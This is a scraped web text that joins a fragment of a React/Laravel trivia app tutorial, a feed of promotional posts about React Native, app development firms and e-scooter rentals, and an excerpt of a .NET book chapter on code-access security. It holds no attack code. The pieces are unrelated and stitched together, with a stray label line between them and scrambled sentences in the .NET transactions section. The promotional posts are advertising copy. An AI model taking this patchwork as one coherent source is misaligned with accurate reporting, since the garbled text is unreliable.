'semantic-ui-react'; import { API_BASE_URL, TRIVIA_ENDPOINT } from './config' constructor(props) { super(props); this.state = { players: null, isLoading: null, question: null, isQuestionLoading: null }; this.onAddition = this.onAddition.bind(this); this.onDelete = this.onDelete.bind(this); this.getQuestion = this.getQuestion.bind(this); } componentDidMount() { this.getPlayers() this.getQuestion() } async getQuestion() { try { this.setState({ isQuestionLoading: true }); const response = await fetch(TRIVIA_ENDPOINT); const questions = await response.json(); this.setState({ question: questions[0], isQuestionLoading: false }); } catch (err) { this.setState({ isQuestionLoading: false }); console.error(err); } } render() { return ( <div> <Header as="h1">Players</Header> {this.state.isLoading && <Message info header="Loading players..." />} {this.state.players && <div> <Table> <thead> <tr> <th>ID</th> <th>Name</th> <th>Answers</th> <th>Points</th> <th>Actions</th> </tr> </thead> <tbody> {this.state.players.map( player => <tr id={player.id} key={player.id}> <td>{player.id}</td> <td>{player.name}</td> <td>{player.answers}</td> <td>{player.points}</td> <td> <DeletePlayerButton onDelete={this.onDelete} playerId={player.id} /> </td> </tr> )} </tbody> </Table> <PlayerForm onAddition={this.onAddition} /> </div> } <Header as="h2">Current Question</Header> {this.state.isQuestionLoading && <Message info header="Loading question..." />} {this.state.question && <div> <Card> <Card.Content> <Card.Header>{this.state.question.question}</Card.Header> <Card.Description> Correct answer: {this.state.question.answer}</Card.Description> </Card.Content> </Card> <Button type='button' onClick={this.getQuestion}>Refresh Question</Button> </div> } </div> ); } When you load the Trivia page, a question will automatically show now. Click ‘Refresh Question’ to display a new question. Add Buttons to Indicate Right and Wrong Answers We’ll add buttons to indicate right and wrong answers by the players similarly to the “Delete Player” button we already added. src/Trivia.js import RightAnswerButton from './RightAnswerButton'; import WrongAnswerButton from './WrongAnswerButton'; constructor(props) { super(props); this.state = { players: null, isLoading: null, question: null, isQuestionLoading: null }; this.onAddition = this.onAddition.bind(this); this.onDelete = this.onDelete.bind(this); this.getQuestion = this.getQuestion.bind(this); this.onAnswer = this.onAnswer.bind(this); } onAnswer(id, data) { let players = this.state.players let player = players.findIndex(player => player.id === id) players[player] = data this.setState({ players: players }) } (add the following before `DeletePlayerButton` inside the `render()` method): <RightAnswerButton onRightAnswer={this.onAnswer} playerId={player.id} /> <WrongAnswerButton onWrongAnswer={this.onAnswer} playerId={player.id} /> src/RightAnswerButton.js import React, { Component } from 'react'; import { Form, Button } from 'semantic-ui-react' import { withAuth } from '@okta/okta-react'; import { API_BASE_URL } from './config' export default withAuth(class RightAnswerButton extends Component { constructor (props) { super(props); this.state = { id: props.playerId, isUpdating: false } this.onSubmit = this.onSubmit.bind(this); } async onSubmit(e) { e.preventDefault(); this.setState({ isUpdating: true }); const accessToken = await this.props.auth.getAccessToken(); const response = await fetch(API_BASE_URL + '/players/' + this.state.id + '/answers', { method: 'POST', headers: { 'Content-Type':'application/json', Authorization: `Bearer ${accessToken}`, Accept: 'application/json' }, body: JSON.stringify({ "correct": true }) }); const player = await response.json(); await this.setState({ isUpdating: false }); this.props.onRightAnswer(this.state.id, player.data); } render() { return ( <Form onSubmit={this.onSubmit}> <Button type='submit' loading={this.state.isUpdating}>(+1) Right</Button> </Form> ) } }); src/WrongAnswerButton.js import React, { Component } from 'react'; import { Form, Button } from 'semantic-ui-react' import { withAuth } from '@okta/okta-react'; import { API_BASE_URL } from './config' export default withAuth(class WrongAnswerButton extends Component { constructor (props) { super(props); this.state = { id: props.playerId, isUpdating: false } this.onSubmit = this.onSubmit.bind(this); } async onSubmit(e) { e.preventDefault(); this.setState({ isUpdating: true }); const accessToken = await this.props.auth.getAccessToken(); const response = await fetch(API_BASE_URL + '/players/' + this.state.id + '/answers', { method: 'POST', headers: { 'Content-Type':'application/json', Authorization: `Bearer ${accessToken}`, Accept: 'application/json' }, body: JSON.stringify({ "correct": false }) }); const player = await response.json(); await this.setState({ isUpdating: false }); this.props.onWrongAnswer(this.state.id, player.data); } render() { return ( <Form onSubmit={this.onSubmit}> <Button type='submit' loading={this.state.isUpdating}>(-1) Wrong</Button> </Form> ) } }); You can refactor RightAnswerButton and WrongAnswerButton to remove the code duplication as an exercise. The application is complete at this point! You can register players, ask them questions and record their answers as right or wrong. #reactjs #laravel #php What is GEEK Buddha Community Build a Basic CRUD App with Laravel and React Autumn Blick Autumn Blick 1598839687 How native is React Native? | React Native vs Native App Development If you are undertaking a mobile app development for your start-up or enterprise, you are likely wondering whether to use React Native. As a popular development framework, React Native helps you to develop near-native mobile apps. However, you are probably also wondering how close you can get to a native app by using React Native. How native is React Native? In the article, we discuss the similarities between native mobile development and development using React Native. We also touch upon where they differ and how to bridge the gaps. Read on. A brief introduction to React Native Let’s briefly set the context first. We will briefly touch upon what React Native is and how it differs from earlier hybrid frameworks. React Native is a popular JavaScript framework that Facebook has created. You can use this open-source framework to code natively rendering Android and iOS mobile apps. You can use it to develop web apps too. Facebook has developed React Native based on React, its JavaScript library. The first release of React Native came in March 2015. At the time of writing this article, the latest stable release of React Native is 0.62.0, and it was released in March 2020. Although relatively new, React Native has acquired a high degree of popularity. The “Stack Overflow Developer Survey 2019” report identifies it as the 8th most loved framework. Facebook, Walmart, and Bloomberg are some of the top companies that use React Native. The popularity of React Native comes from its advantages. Some of its advantages are as follows: • Performance: It delivers optimal performance. • Cross-platform development: You can develop both Android and iOS apps with it. The reuse of code expedites development and reduces costs. • UI design: React Native enables you to design simple and responsive UI for your mobile app. • 3rd party plugins: This framework supports 3rd party plugins. • Developer community: A vibrant community of developers support React Native. Why React Native is fundamentally different from earlier hybrid frameworks Are you wondering whether React Native is just another of those hybrid frameworks like Ionic or Cordova? It’s not! React Native is fundamentally different from these earlier hybrid frameworks. React Native is very close to native. Consider the following aspects as described on the React Native website: • Access to many native platforms features: The primitives of React Native render to native platform UI. This means that your React Native app will use many native platform APIs as native apps would do. • Near-native user experience: React Native provides several native components, and these are platform agnostic. • The ease of accessing native APIs: React Native uses a declarative UI paradigm. This enables React Native to interact easily with native platform APIs since React Native wraps existing native code. Due to these factors, React Native offers many more advantages compared to those earlier hybrid frameworks. We now review them. #android app #frontend #ios app #mobile app development #benefits of react native #is react native good for mobile app development #native vs #pros and cons of react native #react mobile development #react native development #react native experience #react native framework #react native ios vs android #react native pros and cons #react native vs android #react native vs native #react native vs native performance #react vs native #why react native #why use react native Top 10 React Native App Development Companies in USA React Native is the most popular dynamic framework that provides the opportunity for Android & iOS users to download and use your product. Finding a good React Native development company is incredibly challenging. Use our list as your go-to resource for React Native app development Companies in USA. List of Top-Rated React Native Mobile App Development Companies in USA: 1. AppClues Infotech 2. WebClues Infotech 3. AppClues Studio 4. WebClues Global 5. Data EximIT 6. Apptunix 7. BHW Group 8. Willow Tree: 9. MindGrub 10. Prismetric A Brief about the company details mentioned below: 1. AppClues Infotech As a React Native Mobile App Development Company in USA, AppClues Infotech offers user-centered mobile app development for iOS & Android. Since their founding in 2014, their React Native developers create beautiful mobile apps. They have a robust react native app development team that has high knowledge and excellent strength of developing any type of mobile app. They have successfully delivered 450+ mobile apps as per client requirements and functionalities. Website: https://www.appcluesinfotech.com/ 2. WebClues Infotech WebClues Infotech is the Top-Notch React Native mobile app development company in USA & offering exceptional service worldwide. Since their founding in 2014, they have completed 950+ web & mobile apps projects on time. They have the best team of developers who has an excellent knowledge of developing the most secure, robust & Powerful React Native Mobile Apps. From start-ups to enterprise organizations, WebClues Infotech provides top-notch React Native App solutions that meet the needs of their clients. Website: https://www.webcluesinfotech.com/ 3. AppClues Studio AppClues Studio is one of the top React Native mobile app development company in USA and offers the best service worldwide at an affordable price. They have a robust & comprehensive team of React Native App developers who has high strength & extensive knowledge of developing any type of mobile apps. Website: https://www.appcluesstudio.com/ 4. WebClues Global WebClues Global is one of the best React Native Mobile App Development Company in USA. They provide low-cost & fast React Native Development Services and their React Native App Developers have a high capability of serving projects on more than one platform. Since their founding in 2014, they have successfully delivered 721+ mobile app projects accurately. They offer versatile React Native App development technology solutions to their clients at an affordable price. Website: https://www.webcluesglobal.com/ 5. Data EximIT Hire expert React Native app developer from top React Native app development company in USA. Data EximIT is providing high-quality and innovative React Native application development services and support for your next projects. The company has been in the market for more than 8 years and has already gained the trust of 553+ clients and completed 1250+ projects around the globe. They have a large pool of React Native App developers who can create scalable, full-fledged, and appealing mobile apps to meet the highest industry standards. Website: https://www.dataeximit.com/ 6. Apptunix Apptunix is the best React Native App Development Company in the USA. It was established in 2013 and vast experience in developing React Native apps. After developing various successful React Native Mobile Apps, the company believes that this technology helps them incorporate advanced features in mobile apps without influencing the user experience. Website: https://www.apptunix.com/ 7. BHW Group BHW Group is a Top-Notch React Native Mobile App Development Company in the USA. The company has 13+ years of experience in providing qualitative app development services to clients worldwide. They have a compressive pool of React Native App developers who can create scalable, full-fledged, and creative mobile apps to meet the highest industry standards. Website: https://thebhwgroup.com/ 8. Willow Tree: Willow Tree is the Top-Notch React Native Mobile App Development Company in the USA & offering exceptional React Native service. They have the best team of developers who has an excellent knowledge of developing the most secure, robust & Powerful React Native Mobile Apps. From start-ups to enterprise organizations, Willow Tree has top-notch React Native App solutions that meet the needs of their clients. Website: https://willowtreeapps.com/ 9. MindGrub MindGrub is a leading React Native Mobile App Development Company in the USA. Along with React Native, the company also works on other emerging technologies like robotics, augmented & virtual reality. The Company has excellent strength and the best developers team for any type of React Native mobile apps. They offer versatile React Native App development technology solutions to their clients. Website: https://www.mindgrub.com/ 10. Prismetric Prismetric is the premium React Native Mobile App Development Company in the USA. They provide fast React Native Development Services and their React Native App Developers have a high capability of serving projects on various platforms. They focus on developing customized solutions for specific business requirements. Being a popular name in the React Native development market, Prismetric has accumulated a specialty in offering these services. Website: https://www.prismetric.com/ #top rated react native app development companies in usa #top 10 react native app development companies in usa #top react native app development companies in usa #react native app development technologies #react native app development #hire top react native app developers in usa Fredy Larson Fredy Larson 1595059664 How long does it take to develop/build an app? With more of us using smartphones, the popularity of mobile applications has exploded. In the digital era, the number of people looking for products and services online is growing rapidly. Smartphone owners look for mobile applications that give them quick access to companies’ products and services. As a result, mobile apps provide customers with a lot of benefits in just one device. Likewise, companies use mobile apps to increase customer loyalty and improve their services. Mobile Developers are in high demand as companies use apps not only to create brand awareness but also to gather information. For that reason, mobile apps are used as tools to collect valuable data from customers to help companies improve their offer. There are many types of mobile applications, each with its own advantages. For example, native apps perform better, while web apps don’t need to be customized for the platform or operating system (OS). Likewise, hybrid apps provide users with comfortable user experience. However, you may be wondering how long it takes to develop an app. To give you an idea of how long the app development process takes, here’s a short guide. App Idea & Research app-idea-research _Average time spent: two to five weeks _ This is the initial stage and a crucial step in setting the project in the right direction. In this stage, you brainstorm ideas and select the best one. Apart from that, you’ll need to do some research to see if your idea is viable. Remember that coming up with an idea is easy; the hard part is to make it a reality. All your ideas may seem viable, but you still have to run some tests to keep it as real as possible. For that reason, when Web Developers are building a web app, they analyze the available ideas to see which one is the best match for the targeted audience. Targeting the right audience is crucial when you are developing an app. It saves time when shaping the app in the right direction as you have a clear set of objectives. Likewise, analyzing how the app affects the market is essential. During the research process, App Developers must gather information about potential competitors and threats. This helps the app owners develop strategies to tackle difficulties that come up after the launch. The research process can take several weeks, but it determines how successful your app can be. For that reason, you must take your time to know all the weaknesses and strengths of the competitors, possible app strategies, and targeted audience. The outcomes of this stage are app prototypes and the minimum feasible product. #android app #frontend #ios app #minimum viable product (mvp) #mobile app development #web development #android app development #app development #app development for ios and android #app development process #ios and android app development #ios app development #stages in app development Carmen Grimes Carmen Grimes 1595491178 Best Electric Bikes and Scooters for Rental Business or Campus Facility The electric scooter revolution has caught on super-fast taking many cities across the globe by storm. eScooters, a renovated version of old-school scooters now turned into electric vehicles are an environmentally friendly solution to current on-demand commute problems. They work on engines, like cars, enabling short traveling distances without hassle. The result is that these groundbreaking electric machines can now provide faster transport for less — cheaper than Uber and faster than Metro. Since they are durable, fast, easy to operate and maintain, and are more convenient to park compared to four-wheelers, the eScooters trend has and continues to spike interest as a promising growth area. Several companies and universities are increasingly setting up shop to provide eScooter services realizing a would-be profitable business model and a ready customer base that is university students or residents in need of faster and cheap travel going about their business in school, town, and other surrounding areas. Electric Scooters Trends and Statistics In many countries including the U.S., Canada, Mexico, U.K., Germany, France, China, Japan, India, Brazil and Mexico and more, a growing number of eScooter users both locals and tourists can now be seen effortlessly passing lines of drivers stuck in the endless and unmoving traffic. A recent report by McKinsey revealed that the E-Scooter industry will be worth― $200 billion to $300 billion in the United States, $100 billion to $150 billion in Europe, and $30 billion to $50 billion in China in 2030. The e-Scooter revenue model will also spike and is projected to rise by more than 20% amounting to approximately $5 billion. And, with a necessity to move people away from high carbon prints, traffic and congestion issues brought about by car-centric transport systems in cities, more and more city planners are developing more bike/scooter lanes and adopting zero-emission plans. This is the force behind the booming electric scooter market and the numbers will only go higher and higher. Companies that have taken advantage of the growing eScooter trend develop an appthat allows them to provide efficient eScooter services. Such an app enables them to be able to locate bike pick-up and drop points through fully integrated google maps. List of Best Electric Bikes for Rental Business or Campus Facility 2020: It’s clear that e scooters will increasingly become more common and the e-scooter business model will continue to grab the attention of manufacturers, investors, entrepreneurs. All this should go ahead with a quest to know what are some of the best electric bikes in the market especially for anyone who would want to get started in the electric bikes/scooters rental business. We have done a comprehensive list of the best electric bikes! Each bike has been reviewed in depth and includes a full list of specs and a photo. Billy eBike mobile-best-electric-bikes-scooters https://www.kickstarter.com/projects/enkicycles/billy-were-redefining-joyrides To start us off is the Billy eBike, a powerful go-anywhere urban electric bike that’s specially designed to offer an exciting ride like no other whether you want to ride to the grocery store, cafe, work or school. The Billy eBike comes in 4 color options – Billy Blue, Polished aluminium, Artic white, and Stealth black. Price: $2490 Available countries Available in the USA, Europe, Asia, South Africa and Australia.This item ships from the USA. Buyers are therefore responsible for any taxes and/or customs duties incurred once it arrives in your country. Features • Control – Ride with confidence with our ultra-wide BMX bars and a hyper-responsive twist throttle. • Stealth- Ride like a ninja with our Gates carbon drive that’s as smooth as butter and maintenance-free. • Drive – Ride further with our high torque fat bike motor, giving a better climbing performance. • Accelerate – Ride quicker with our 20-inch lightweight cutout rims for improved acceleration. • Customize – Ride your own way with 5 levels of power control. Each level determines power and speed. • Flickable – Ride harder with our BMX /MotoX inspired geometry and lightweight aluminum package Specifications • Maximum speed: 20 mph (32 km/h) • Range per charge: 41 miles (66 km) • Maximum Power: 500W • Motor type: Fat Bike Motor: Bafang RM G060.500.DC • Load capacity: 300lbs (136kg) • Battery type: 13.6Ah Samsung lithium-ion, • Battery capacity: On/off-bike charging available • Weight: w/o batt. 48.5lbs (22kg), w/ batt. 54lbs (24.5kg) • Front Suspension: Fully adjustable air shock, preload/compression damping /lockout • Rear Suspension: spring, preload adjustment • Built-in GPS Why Should You Buy This? • Riding fun and excitement • Better climbing ability and faster acceleration. • Ride with confidence • Billy folds for convenient storage and transportation. • Shorty levers connect to disc brakes ensuring you stop on a dime • belt drives are maintenance-free and clean (no oil or lubrication needed) **Who Should Ride Billy? ** Both new and experienced riders **Where to Buy? **Local distributors or ships from the USA. Genze 200 series e-Bike genze-best-electric-bikes-scooters https://www.genze.com/fleet/ Featuring a sleek and lightweight aluminum frame design, the 200-Series ebike takes your riding experience to greater heights. Available in both black and white this ebike comes with a connected app, which allows you to plan activities, map distances and routes while also allowing connections with fellow riders. Price: $2099.00 Available countries The Genze 200 series e-Bike is available at GenZe retail locations across the U.S or online via GenZe.com website. Customers from outside the US can ship the product while incurring the relevant charges. Features • 2 Frame Options • 2 Sizes • Integrated/Removable Battery • Throttle and Pedal Assist Ride Modes • Integrated LCD Display • Connected App • 24 month warranty • GPS navigation • Bluetooth connectivity Specifications • Maximum speed: 20 mph with throttle • Range per charge: 15-18 miles w/ throttle and 30-50 miles w/ pedal assist • Charging time: 3.5 hours • Motor type: Brushless Rear Hub Motor • Gears: Microshift Thumb Shifter • Battery type: Removable Samsung 36V, 9.6AH Li-Ion battery pack • Battery capacity: 36V and 350 Wh • Weight: 46 pounds • Derailleur: 8-speed Shimano • Brakes: Dual classic • Wheels: 26 x 20 inches • Frame: 16, and 18 inches • Operating Mode: Analog mode 5 levels of Pedal Assist Thrott­le Mode Norco from eBikestore norco-best-electric-bikes-scooters https://ebikestore.com/shop/norco-vlt-s2/ The Norco VLT S2 is a front suspension e-Bike with solid components alongside the reliable Bosch Performance Line Power systems that offer precise pedal assistance during any riding situation. Price: $2,699.00 Available countries This item is available via the various Norco bikes international distributors. Features • VLT aluminum frame- for stiffness and wheel security. • Bosch e-bike system – for their reliability and performance. • E-bike components – for added durability. • Hydraulic disc brakes – offer riders more stopping power for safety and control at higher speeds. • Practical design features – to add convenience and versatility. Specifications • Maximum speed: KMC X9 9spd • Motor type: Bosch Active Line • Gears: Shimano Altus RD-M2000, SGS, 9 Speed • Battery type: Power Pack 400 • Battery capacity: 396Wh • Suspension: SR Suntour suspension fork • Frame: Norco VLT, Aluminum, 12x142mm TA Dropouts Bodo EV bodo-best-electric-bikes-scootershttp://www.bodoevs.com/bodoev/products_show.asp?product_id=13 Manufactured by Bodo Vehicle Group Limited, the Bodo EV is specially designed for strong power and extraordinary long service to facilitate super amazing rides. The Bodo Vehicle Company is a striking top in electric vehicles brand field in China and across the globe. Their Bodo EV will no doubt provide your riders with high-level riding satisfaction owing to its high-quality design, strength, breaking stability and speed. Price: $799 Available countries This item ships from China with buyers bearing the shipping costs and other variables prior to delivery. Features • Reliable • Environment friendly • Comfortable riding • Fashionable • Economical • Durable – long service life • Braking stability • LED lighting technology Specifications • Maximum speed: 45km/h • Range per charge: 50km per person • Charging time: 8 hours • Maximum Power: 3000W • Motor type: Brushless DC Motor • Load capacity: 100kg • Battery type: Lead-acid battery • Battery capacity: 60V 20AH • Weight: w/o battery 47kg #android app #autorent #entrepreneurship #ios app #minimum viable product (mvp) #mobile app development #news #app like bird #app like bounce #app like lime #autorent #best electric bikes 2020 #best electric bikes for rental business #best electric kick scooters 2020 #best electric kickscooters for rental business #best electric scooters 2020 #best electric scooters for rental business #bird scooter business model #bird scooter rental #bird scooter rental cost #bird scooter rental price #clone app like bird #clone app like bounce #clone app like lime #electric rental scooters #electric scooter company #electric scooter rental business #how do you start a moped #how to start a moped #how to start a scooter rental business #how to start an electric company #how to start electric scooterrental business #lime scooter business model #scooter franchise #scooter rental business #scooter rental business for sale #scooter rental business insurance #scooters franchise cost #white label app like bird #white label app like bounce #white label app like lime Carmen Grimes Carmen Grimes 1595494844 How to start an electric scooter facility/fleet in a university campus/IT park Are you leading an organization that has a large campus, e.g., a large university? You are probably thinking of introducing an electric scooter/bicycle fleet on the campus, and why wouldn’t you? Introducing micro-mobility in your campus with the help of such a fleet would help the people on the campus significantly. People would save money since they don’t need to use a car for a short distance. Your campus will see a drastic reduction in congestion, moreover, its carbon footprint will reduce. Micro-mobility is relatively new though and you would need help. You would need to select an appropriate fleet of vehicles. The people on your campus would need to find electric scooters or electric bikes for commuting, and you need to provide a solution for this. To be more specific, you need a short-term electric bike rental app. With such an app, you will be able to easily offer micro-mobility to the people on the campus. We at Devathon have built Autorent exactly for this. What does Autorent do and how can it help you? How does it enable you to introduce micro-mobility on your campus? We explain these in this article, however, we will touch upon a few basics first. Micro-mobility: What it is micro-mobility You are probably thinking about micro-mobility relatively recently, aren’t you? A few relevant insights about it could help you to better appreciate its importance. Micro-mobility is a new trend in transportation, and it uses vehicles that are considerably smaller than cars. Electric scooters (e-scooters) and electric bikes (e-bikes) are the most popular forms of micro-mobility, however, there are also e-unicycles and e-skateboards. You might have already seen e-scooters, which are kick scooters that come with a motor. Thanks to its motor, an e-scooter can achieve a speed of up to 20 km/h. On the other hand, e-bikes are popular in China and Japan, and they come with a motor, and you can reach a speed of 40 km/h. You obviously can’t use these vehicles for very long commutes, however, what if you need to travel a short distance? Even if you have a reasonable public transport facility in the city, it might not cover the route you need to take. Take the example of a large university campus. Such a campus is often at a considerable distance from the central business district of the city where it’s located. While public transport facilities may serve the central business district, they wouldn’t serve this large campus. Currently, many people drive their cars even for short distances. As you know, that brings its own set of challenges. Vehicular traffic adds significantly to pollution, moreover, finding a parking spot can be hard in crowded urban districts. Well, you can reduce your carbon footprint if you use an electric car. However, electric cars are still new, and many countries are still building the necessary infrastructure for them. Your large campus might not have the necessary infrastructure for them either. Presently, electric cars don’t represent a viable option in most geographies. As a result, you need to buy and maintain a car even if your commute is short. In addition to dealing with parking problems, you need to spend significantly on your car. All of these factors have combined to make people sit up and think seriously about cars. Many people are now seriously considering whether a car is really the best option even if they have to commute only a short distance. This is where micro-mobility enters the picture. When you commute a short distance regularly, e-scooters or e-bikes are viable options. You limit your carbon footprints and you cut costs! Businesses have seen this shift in thinking, and e-scooter companies like Lime and Bird have entered this field in a big way. They let you rent e-scooters by the minute. On the other hand, start-ups like Jump and Lyft have entered the e-bike market. Think of your campus now! The people there might need to travel short distances within the campus, and e-scooters can really help them. How micro-mobility can benefit you benefits-micromobility What advantages can you get from micro-mobility? Let’s take a deeper look into this question. Micro-mobility can offer several advantages to the people on your campus, e.g.: • Affordability: Shared e-scooters are cheaper than other mass transportation options. Remember that the people on your campus will use them on a shared basis, and they will pay for their short commutes only. Well, depending on your operating model, you might even let them use shared e-scooters or e-bikes for free! • Convenience: Users don’t need to worry about finding parking spots for shared e-scooters since these are small. They can easily travel from point A to point B on your campus with the help of these e-scooters. • Environmentally sustainable: Shared e-scooters reduce the carbon footprint, moreover, they decongest the roads. Statistics from the pilot programs in cities like Portland and Denver showimpressive gains around this key aspect. • Safety: This one’s obvious, isn’t it? When people on your campus use small e-scooters or e-bikes instead of cars, the problem of overspeeding will disappear. you will see fewer accidents. #android app #autorent #ios app #mobile app development #app like bird #app like bounce #app like lime #autorent #bird scooter business model #bird scooter rental #bird scooter rental cost #bird scooter rental price #clone app like bird #clone app like bounce #clone app like lime #electric rental scooters #electric scooter company #electric scooter rental business #how do you start a moped #how to start a moped #how to start a scooter rental business #how to start an electric company #how to start electric scooterrental business #lime scooter business model #scooter franchise #scooter rental business #scooter rental business for sale #scooter rental business insurance #scooters franchise cost #white label app like bird #white label app like bounce #white label app like lime
__label__pos
0.760341
  programming4us programming4us SECURITY Programming .NET Components : Addressing Other Security Issues - How To Install Windows Server 2012 On VirtualBox - How To Bypass Torrent Connection Blocking By Your ISP - How To Install Actual Facebook App On Kindle Fire 2/7/2012 9:30:26 AM 1. Link-Time Demand and Reflection When you demand a security permission at link time using the SecurityAction.LinkDemand value for the security action, the demand applies only to early-bound code—that is, code that uses the compile time (or actually, the JIT compilation-time) linker. Malicious code can use reflection with late-binding invocation to avoid the link-time demand. To close this potential security hole, when a method is invoked using late binding the .NET reflection libraries reflect the method, looking for security permission attributes with link-time demands. If any such attributes are found, the reflection libraries programmatically demand these permissions, triggering a stack walk that verifies whether a caller has circumvented the demand for the permissions. As a result, code that works with a certain call chain that uses early binding may not work when one of the callers uses late binding. This is because the reflection libraries convert a link-time demand (which affects only the immediate caller) to a full stack walk that affects all callers. This behavior is yet another reason to avoid late-binding invocation. 2. Link-Time Demand and Inheritance Consider a subclass that uses a link-time security demand while overriding a base-class method. The subclass demand is security-tight only if the base class demands the same permission at link time. If you develop a class hierarchy that requires security, it's best to define an interface that the class hierarchy implements and demand link-time permission checks at the interface level. This provides the demand for every level in the class hierarchy. 3. Strongly Named Assemblies and Full Trust A strongly named assembly can easily be shared by multiple applications whose components come from potentially untrusted origins. Imagine a component library vendor that produces an assembly and installs it in the GAC. That assembly is now available for use by any unknown, malicious client. To prevent even the potential for abuse, by default a .NET strongly named assembly can be used only by client assemblies granted the FullTrust permission set. This ensures that partially trusted clients can't use assemblies that are not properly secured. .NET enforces this default by placing a link-time demand for the FullTrust permission set on every public or protected method on every public class in the assembly. The JIT compiler does this automatically when it detects that the assembly has a strong name. For example, if a strong name is specified, the JIT compiler converts this method definition: public void SomeMethod( ) {} to this: [PermissionSet(SecurityAction.LinkDemand,Name = "FullTrust")] public void SomeMethod( ) {} A partially trusted assembly can still implement interfaces defined in a strongly named assembly, because interfaces have no implementations to protect and the compiler doesn't change their definitions. This extra precaution can be a liability, especially if you intend for your assembly to be used by semi-trusted assemblies or to run in a partially trusted environment. For example, if the client assembly is a partially trusted ClickOnce application or if the client is coming from the local intranet, it won't be able to access your code. If you want to allow partially trusted callers to use your assembly, you can apply the attribute AllowPartiallyTrustedCallersAttribute to the assembly: [assembly:AllowPartiallyTrustedCallers] This instructs the compiler not to add the link-time demand for full trust to the public entry points. 4. Unsafe Code C# (and potentially future .NET languages) allows you to use unsafe code to directly manipulate memory using pointers. Such C# code is called unsafe because it lets go of most of the safety of .NET memory management, such as bound-safe arrays. However, unsafe code is still managed code, because it runs in the CLR and it manipulates the managed heap. This can present a security breach, because objects from multiple assemblies (with potentially different security permissions) share the same heap. A malicious assembly may not have permission to access assemblies that are more privileged, but it can potentially use unsafe code to traverse the managed heap and read or modify the state of objects. Worse yet, even if you try to isolate questionable assemblies in one app domain and put trusted assemblies in another, it will be to no avail. Because all app domains in the same physical process share the same managed heap, a malicious component could use unsafe code to access the other app domains. Clearly, only trusted assemblies should be granted permission to use unsafe code. .NET doesn't have an unsafe code permission, but it does have a security permission with the right to skip verification. Because unsafe code is unverifiable, you can use this permission to grant, in effect, permission for unsafe code. Note that the FullTrust permission set grants that permission, as does the dedicated SkipVerification permission set. 5. Security and Remote Calls As long as the client and the object share the same physical process, .NET can enforce code access permission checks using stack walks, even when the call is made across app domains. This is possible because the cross-app domain remoting channel uses the original client thread to invoke the call, so the stack walk can detect callers without the required permissions. However, in a distributed application that spans processes and machines, multiple physical threads are involved every time the call flows to another location. Because each thread has its own stack, the stack-walk strategy as a mechanism for enforcing access permissions doesn't work when crossing the process boundary. Link-time permission demands are of no use either, because the component is linked against the trusted host, not the remote client. In addition, each machine may well have a different code access policy, and what is allowed on one machine may be forbidden on another. : Secure .NET Remoting In order to authenticate and authorize remote calls, you need the security call context— the caller's identity and credentials—to flow across process and machine boundaries. .NET 2.0 introduced support for propagating the security call context for remoting, and even support for encrypted channels. That said, if you need to secure remote calls on your intranet, I recommend using Enterprise Services instead of remoting. Enterprise Services offer a richer security model than remoting (such as support for audit trails and granular role-based security), and more significantly, applications that require secure remote calls typically require other aspects that Enterprise Services support natively, such as distributed transactions and disconnected calls. Remoting should be used when you need extensibility, not when you need Enterprise-level services. For that, use Enterprise Services. 6. Serialization Imagine a class containing sensitive information that needs to interact with partially trusted clients. If a malicious client could provide its own serialization formatters, it would be able to gain access to the sensitive information or deserialize the class with bogus state. To prevent abuse by such serialization clients, a class can demand at link time that its clients have the security permission to provide a serialization formatter that uses the attribute SecurityPermissionAttribute with the SecurityPermissionFlag.SerializationFormatter flag: [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.SerializationFormatter)] [Serializable] public class MyClass {...} If the class has sensitive state information, you may want to consider using custom serialization to encrypt and decrypt the state during serialization and deserialization. The problem with demanding the serialization formatter permission at the class level is that it precludes clients that don't have that permission and don't even need to serialize the class from using the class at all. In such cases, it's better to provide custom serialization and demand the permission only on the deserialization constructor and GetObjectData( ): [Serializable] public class MyClass : ISerializable { public MyClass( ) {}   [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.SerializationFormatter)] public void GetObjectData(SerializationInfo info,StreamingContext context) {...}   [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.SerializationFormatter)] protected MyClass(SerializationInfo info,StreamingContext context) {...} } If all you need are the standard .NET formatters, there is a different solution altogether to the problem of malicious serialization clients. Use the attribute StrongNameIdentityPermissionAttribute to demand at link time that only Microsoft-provided assemblies serialize and deserialize your class: public static class PublicKeys { public const string Microsoft = "0024000004800000940000000602000000240000"+ "52534131000400000100010007D1FA57C4AED9F0"+ "A32E84AA0FAEFD0DE9E8FD6AEC8F87FB03766C83"+ "4C99921EB23BE79AD9D5DCC1DD9AD23613210290"+ "0B723CF980957FC4E177108FC607774F29E8320E"+ "92EA05ECE4E821C0A5EFE8F1645C4C0C93C1AB99"+ "285D622CAA652C1DFAD63D745D6F2DE5F17E5EAF"+ "0FC4963D261C8A12436518206DC093344D5AD293"; }   [Serializable] public class MyClass : ISerializable { public MyClass( ) {}   [StrongNameIdentityPermission(SecurityAction.LinkDemand, PublicKey = PublicKeys.Microsoft)] public void GetObjectData(SerializationInfo info,StreamingContext context) {...}   [StrongNameIdentityPermission(SecurityAction.LinkDemand, PublicKey = PublicKeys.Microsoft)] protected MyClass(SerializationInfo info,StreamingContext context) {...} } If you wish to allow either Microsoft or clients with the serialization formatter permission to serialize your class, use a link-time demand choice on both permissions: [StrongNameIdentityPermission(SecurityAction.LinkDemandChoice, PublicKey = PublicKeys.Microsoft)] [SecurityPermission(SecurityAction.LinkDemandChoice, Flags = SecurityPermissionFlag.SerializationFormatter)] public void GetObjectData(SerializationInfo info,StreamingContext context) {...}   [StrongNameIdentityPermission(SecurityAction.LinkDemandChoice, PublicKey = PublicKeys.Microsoft)] [SecurityPermission(SecurityAction.LinkDemandChoice, Flags = SecurityPermissionFlag.SerializationFormatter)] protected MyClass(SerializationInfo info,StreamingContext context) {...} 7. Transactions An application that uses transactions managed by the Light-Weight Transaction Manager (LTM) can consume resources from at most a single durable recourse such as SQL Server 2005. This, however, is not the case with a distributed transaction, which can interact with multiple resources, potentially across the network. This opens the way for both denial-of-service attacks by malicious code, or even just accidental excessive use of such resources. To prevent that, the System.Transactions security permission. Whenever a transaction is promoted from an LTM to OleTx transaction, the code that triggered the promotion will be verified to have the DistributedTransaction permission. Verification of the security permission is done like any other code-access security verification, using a stack walk, demanding from every caller up the stack the DistributedTransaction permission. Note again that the security demand will affect the code that triggered the promotion, not necessarily the code that created the LTM transaction in the first place (although that can certainly be the case if they are on the same call stack). namespace defines the DistributedTransaction This permission demand is of particular importance for Smart Client applications deployed in a partial trust 